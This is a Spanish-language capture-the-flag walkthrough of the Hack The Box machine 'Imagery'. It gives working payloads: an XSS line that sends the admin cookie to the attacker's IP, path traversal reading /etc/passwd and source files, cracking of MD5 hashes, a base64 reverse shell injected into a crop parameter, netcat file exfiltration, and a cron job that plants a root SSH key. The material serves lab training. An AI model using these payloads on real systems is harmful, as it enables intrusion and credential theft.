Descripción
Imagery es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Secuencia de comandos en sitios cruzados (XSS) en aplicación web de galería permitiendo la captura de sesión del administrador
- Salto de directorios en aplicación web permitiendo leer el código fuente
- Inyección de comandos en funcionalidad desbloqueada por un usuario de prueba pivotado
- Pivote a usuario Linux mediante el descifrado de una antigua copia de respaldo del código fuente del sitio web
- Escalada de privilegios a través de una aplicación de respaldo vulnerable permitiendo ejecución de comandos
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.17.177.
$ ping -c 3 10.129.17.177
PING 10.129.17.177 (10.129.17.177) 56(84) bytes of data.
64 bytes from 10.129.17.177: icmp_seq=1 ttl=63 time=43.6 ms
64 bytes from 10.129.17.177: icmp_seq=2 ttl=63 time=43.1 ms
64 bytes from 10.129.17.177: icmp_seq=3 ttl=63 time=43.0 ms
--- 10.129.17.177 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.019/43.234/43.559/0.233 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.17.177 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.17.177
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds
Obtenemos dos puertos abiertos: 22 y 8000.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.17.177 -sV -sC -p22,8000 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.17.177
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.45 seconds
Obtenemos dos servicios: uno Secure Shell (SSH) y otro Protocolo de Transferencia de Hipertexto (HTTP). Como no tenemos credenciales creíbles para el servicio SSH, vamos a movernos al servicio HTTP. Parece que es una aplicación web escrita en Python. Agregamos la dominio imagery.htb a el archivo /etc/hosts.
$ echo '10.129.17.177 imagery.htb' | sudo tee -a /etc/hosts
Al acceder al servicio web, descubrimos que es una aplicación de galería en línea personal, probablemente una plataforma para subir y compartir imágenes.
Podemos crear un nuevo cuenta y luego iniciar sesión en ella.
Después de iniciar sesión, nos redirigen a la sección de control o dashboard, donde podemos encontrar las imágenes subidas.
Al hacer clic en el botón Upload podemos subir una imagen seleccionando la opción del formulario.
Después de subir la imagen, volvemos a la sección de control o galería y encontramos la imagen cargada con un menú que ofrece varias opciones: Editar Detalles, Convertir Formato, Transformar Imagen, Eliminar Metadatos, Descargar y Eliminar. Solo las últimas dos están funcionando, ya que el sistema indica que la característica está aún en producción.
Al leer el código fuente de la página web específicamente en el código JavaScript, descubrimos que necesitamos ser un usuario de prueba para utilizar esta funcionalidad.
...
const isFeatureEnabled = loggedInUserIsTestUser;
const featureButtonClass = isFeatureEnabled ? '' : 'disabled-feature-btn';
const editButtonClick = isFeatureEnabled ? `onclick="handleEditImage('${image.id}')"` : `onclick="showMessage('Feature still in production.', 'error')"`;
...
Descubrimos que hay una verificación en la parte del frente y también en la parte de atrás para permitir que esta funcionalidad funcione. En la sección inferior de la página, encontramos un botón para informar de un problema.
Podemos ingresar el “Nombre/Breve Descripción de la Vulnerabilidad” y los “Detalles de la Vulnerabilidad”. Asumimos que este formulario será revisado por el administrador del plataforma. Si la página web es vulnerable a la vulnerabilidad de Cross Site Scripting (XSS), podríamos recuperar el cookie del usuario administrador y pivotear hacia su sección de control.
Explotación
Iniciemos un servidor HTTP.
$ python -m http.server 80
Esta es el mensaje de reporte de problema que vamos a ingresar como carga de tipo cross-site scripting (XSS):
<img src=x onerror=this.src="http://10.10.14.89/?cookie="+encodeURI(btoa(document.cookie))>
Después de unos segundos, recibimos una solicitud al servidor HTTP con el valor codificado en Base64 de la cookie.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.17.177 - - "GET /?cookie=c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFOaDUxUS5SZUQzLWc0NXg4R3ZhTkNhUXVfSkNCLVktLWs= HTTP/1.1" 200 -
$ echo c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFOaDUxUS5SZUQzLWc0NXg4R3ZhTkNhUXVfSkNCLVktLWs= | base64 -d
session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNh51Q.ReD3-g45x8GvaNCaQu_JCB-Y--k
Sustituimos el valor de la cookie en el navegador y refrescamos la página. Ahora tenemos una nueva opción, el panel de administración. Podemos eliminar el informe que se envió anteriormente para desactivar la vulnerabilidad de cross-site scripting (XSS).
Descubrimos que podemos descargar un registro de sesión de los usuarios registrados en el sistema. Para el usuario registrado como testuser@imagery.htb, encontramos la página http://imagery.htb:8000/admin/get_system_log?log_identifier=testuser%40imagery.htb.log y recibimos el error 404 No Found.
{"message":"Error reading file: 404 Not Found: The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.","success":false}
Parece que la página está tratando de recuperar un archivo .log y no lo encuentra. Vamos a verificar con el comando curl si el endpoint es vulnerable a la vulnerabilidad de travesía de ruta (Path Traversal).
$ curl -s --path-as-is -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNh51Q.ReD3-g45x8GvaNCaQu_JCB-Y--k' 'http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../etc/passwd' | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
mark:x:1002:1002::/home/mark:/bin/bash
Podemos confirmar que el endpoint es vulnerable a la vulnerabilidad de travesía de ruta (Path Traversal) ya que podemos recuperar los contenidos del archivo /etc/passwd, lo cual no debería estar disponible. Dado que sabemos que se trata de una aplicación web Python, vamos a buscar el archivo principal de código fuente, por ejemplo app.py.
$ curl -s --path-as-is -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNh51Q.ReD3-g45x8GvaNCaQu_JCB-Y--k' 'http://imagery.htb:8000/admin/get_system_log?log_identifier=../app.py'
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
...
Descubrimos que es una aplicación web en Python Flask, que importa la configuración del archivo config.py y que las funciones desactivadas están en el archivo api_edit.py. Ahora vamos a revisar el archivo de configuración (config.py) para ver si hay información útil sobre la aplicación.
$ curl -s --path-as-is -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNh51Q.ReD3-g45x8GvaNCaQu_JCB-Y--k' 'http://imagery.htb:8000/admin/get_system_log?log_identifier=../config.py'
import os
import ipaddress
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)
Descubrimos que la base de datos se almacena en el archivo db.json.
$ curl -s --path-as-is -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNh51Q.ReD3-g45x8GvaNCaQu_JCB-Y--k' 'http://imagery.htb:8000/admin/get_system_log?log_identifier=../db.json'
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
],
Tenemos la contraseña de los dos usuarios registrados en los sistemas. El usuario testuser@imagery.htb tiene las banderas isTestuser, por lo que parece que puede utilizar las funciones bloqueadas. Vamos a intentar recuperar las contraseñas con el herramienta John The Ripper. Los dos hashes parecen ser hashesMD5.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
iambatman (testuser@imagery.htb)
1g 0:00:00:01 DONE 0.6849g/s 9824Kp/s 9824Kc/s 9990KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Logramos recuperar la contraseña del usuario testuser@imagery.htb, que es iambatman. Ahora podemos iniciar sesión y utilizar las funciones bloqueadas previas.
Volvemos a revisar el código fuente para verificar el archivo api_edit.py, ya que es allí donde se encuentran las funciones bloqueadas previas.
$ curl -s --path-as-is -b 'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNh51Q.ReD3-g45x8GvaNCaQu_JCB-Y--k' 'http://imagery.htb:8000/admin/get_system_log?log_identifier=../api_edit.py'
from flask import Blueprint, request, jsonify, session
from config import *
import os
import uuid
import subprocess
from datetime import datetime
from utils import _load_data, _save_data, _hash_password, _log_event, _generate_display_id, _sanitize_input, get_file_mimetype, _calculate_file_md5
bp_edit = Blueprint('bp_edit', __name__)
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
...
try:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
elif transform_type == 'rotate':
degrees = str(params.get('degrees'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
...
Encontramos que la función de transformación, específicamente la de corte (crop) es vulnerable a inyección de comandos, debido al uso de una cadena de comando y el parámetro shell=True en la función subprocess.run. Podemos injectar el comando por ejemplo, en el parámetro width para iniciar un shell inverso. Capturamos la solicitud y la enviaremos utilizando la herramienta curl.
Empezamos escuchando en un puerto de TCP.
$ nc -nvlp 1234
Usaremos el siguiente payload como parámetro width,
; echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljg5LzEyMzQgMD4mMQ== | base64 -d | bash #
Luego, hacemos una solicitud HTTP al endpoint apply_visual_transform.
$ curl -H $'Content-Type: application/json' -b $'session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aNiGvg.eabuZNPdi1BNEd-a9-8kbiAhqrk' --data-binary $'{\"imageId\":\"3497ba2a-e617-44db-8439-b18bcbe5b27f\",\"transformType\":\"crop\",\"params\":{\"x\":0,\"y\":0,\"width\":\"; echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljg5LzEyMzQgMD4mMQ== | base64 -d | bash #\",\"height\":57}}' 'http://imagery.htb:8000/apply_visual_transform'
Recibimos la consola inversa como el usuario web, actualizamos la misma.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.89] from (UNKNOWN) [10.129.17.177] 53380
bash: cannot set terminal process group (1414): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$ id
id
uid=1001(web) gid=1001(web) groups=1001(web)
web@Imagery:~/web$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
web@Imagery:~/web$ ^Z
[1] + 199099 suspended nc -nvlp 1234
$ stty raw -echo; fg
$ reset xterm
web@Imagery:~/web$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos otros usuarios con consola en el sistema, además del usuario web: mark y root.
web@Imagery:~/web$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
mark:x:1002:1002::/home/mark:/bin/bash
Encontramos lo que parece ser una copia de seguridad del servidor web en el directorio /var/backup.
web@Imagery:~/web$ ls -l /var/backup
total 22516
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 web_20250806_120723.zip.aes
Tiene la extensión .aes, por lo que parece estar cifrado con el cifrado de AES. Verificando las cadenas de caracteres en el archivo, encontramos algunas.
web@Imagery:~/web$ strings /var/backup/web_20250806_120723.zip.aes | head -n 10
CREATED_BY
pyAesCrypt 6.1.1
F/ a
8tspq22
e-mN
w(U%
I.&&
p\xD
/dv;
NGRF
Verificamos que el archivo se crea con la biblioteca de Python pyAesCrypt 6.1.1. pyAesCrypt es un módulo y script de Python 3 para cifrar/decifrar archivos y flujos binarios mediante AES256-CBC. Vamos a intentar romper la contraseña del archivo cifrado con un script de Python. Utilizaremos la lista de palabras rockyou.txt. Exfiltramos el archivo cifrado utilizando el herramienta netcat . En nuestro ordenador:
$ nc -nvlp 8000 > web_20250806_120723.zip.aes
Y en el sistema remoto:
web@Imagery:~/web$ cd /tmp
web@Imagery:/tmp$ nc -nv 10.10.14.89 8000 < /var/backup/web_20250806_120723.zip.aes
Usaremos el siguiente script de Python para recuperar la contraseña.
import pyAesCrypt
import sys
with open("/usr/share/wordlists/rockyou.txt", "r") as file:
for line in file:
password = line.strip()
try:
pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_20250806_120723.zip", password)
print("File unlocked! The password is " + password)
sys.exit(0)
except ValueError:
pass
Después de ejecutar el script, encontramos la contraseña del archivo cifrado, bestfriends.
$ virtualenv pyw
$ . pyw/bin/activate
$ pip install pyAesCrypt
$ python crack.py
File unlocked! The password is bestfriends
Tenemos el archivo descifrado en web_20250806_120723.zip, lo descomprimimos.
$ unzip web_20250806_120723.zip
$ ls web
api_admin.py api_edit.py api_misc.py app.py db.json __pycache__ templates
api_auth.py api_manage.py api_upload.py config.py env system_logs utils.py
Como sospechábamos, esto es una copia de seguridad del directorio del servidor web. Revisando el archivo db.json encontramos un nuevo usuario, mark, con un hash de contraseña. Después de recuperar la contraseña con John The Ripper, encontramos la contraseña supersmash.
$ cat web/db.json
{
"users": [
...
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
...
],
$ echo "mark@imagery.htb:01c3d2e5bdaf6134cec0a367cf53e535" >> hashes
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Remaining 2 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
supersmash (mark@imagery.htb)
1g 0:00:00:00 DONE 1.694g/s 24310Kp/s 24310Kc/s 24750KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Podemos pivotar hacia el usuario mark.
web@Imagery:/tmp$ su mark
Password:
mark@Imagery:/tmp$ id
uid=1002(mark) gid=1002(mark) groups=1002(mark)
Encontramos que mark puede ejecutar un solo comando como usuario root, charcol.
mark@Imagery:/tmp$ sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
Encontramos que Charcol es un conjunto de herramientas de copia de seguridad.
mark@Imagery:/tmp$ sudo charcol
Charcol The Backup Suit - Development edition 1.0.0
Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help
Si intentamos abrir una sesión de terminal, solicita una contraseña.
mark@Imagery:/tmp$ sudo charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password):
En la ayuda encontramos que podemos restablecer la contraseña utilizando el parámetro -R. Vamos a usarlo.
mark@Imagery:/tmp$ sudo charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system password verification).
mark@Imagery:/tmp$ sudo charcol -R
Attempting to reset Charcol application password to default.
[INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
La contraseña ha sido restaurada y ahora podemos abrir la sesión de terminal en modo sin contraseña.
mark@Imagery:/tmp$ sudo charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:/tmp$ sudo charcol shell
Charcol The Backup Suit - Development edition 1.0.0
[INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>
Al leer la ayuda, encontramos la funcionalidad de Tareas Automatizadas (Cron) auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>". Como advertencia de seguridad: Charcol NO valida la seguridad de la opción --command. Se recomienda usar rutas absolutas. Dado que la aplicación Charcol se ejecuta como usuario root, podemos utilizar esta opción para agregar nuestra clave privada SSH al archivo /root/.ssh/authorized_keys en el servidor. Comenzamos creando la clave SSH.
$ ssh-keygen -t rsa -b 1024 -f id_rsa
Este es el comando que ejecutará la tarea Cron:
mkdir -p /root/.ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC0yrgH1lTgBI9qZPsZRopR/I3O8Wu3K5qTDhdPXmhS7+BVWfFL6mM5I/5lUNHONtVCzVGPLOcTyE6FjfoibR9FdFv4X939fmidWHRWfdti4xcg/8z1KR+zQC6tN9R2h+a/i75xIU1dRWN/KaND/MvSP33maHmd4GPDl8GNHta1TQ== user@localhost" > /root/.ssh/authorized_keys
Volvemos a la consola de Charcol para crear la tarea automatizada cada minuto.
charcol> auto add --schedule "* * * * *" --command 'mkdir -p /root/.ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC0yrgH1lTgBI9qZPsZRopR/I3O8Wu3K5qTDhdPXmhS7+BVWfFL6mM5I/5lUNHONtVCzVGPLOcTyE6FjfoibR9FdFv4X939fmidWHRWfdti4xcg/8z1KR+zQC6tN9R2h+a/i75xIU1dRWN/KaND/MvSP33maHmd4GPDl8GNHta1TQ== user@localhost" > /root/.ssh/authorized_keys' --name "testing"
[INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[INFO] System password verified successfully.
[INFO] Auto job 'testing' (ID: 23b61508-84cb-46d8-87fb-de9d49c8a2aa) added successfully. The job will run according to schedule.
[INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true mkdir -p /root/.ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC0yrgH1lTgBI9qZPsZRopR/I3O8Wu3K5qTDhdPXmhS7+BVWfFL6mM5I/5lUNHONtVCzVGPLOcTyE6FjfoibR9FdFv4X939fmidWHRWfdti4xcg/8z1KR+zQC6tN9R2h+a/i75xIU1dRWN/KaND/MvSP33maHmd4GPDl8GNHta1TQ== user@localhost" > /root/.ssh/authorized_keys
Después de unos pocos segundos, la tarea se ejecutará y será posible conectarse a la máquina como usuario root utilizando SSH.
$ ssh -i id_rsa root@imagery.htb bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@Imagery:~# id
id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola del usuario root, podemos recuperar las flags de user y root.
$ ssh -i id_rsa root@imagery.htb bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@Imagery:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Imagery:~# cat /home/mark/user.txt
cat /home/mark/user.txt
<REDACTED>
root@Imagery:~# cat /root/root.txt
cat /root/root.txt
<REDACTED>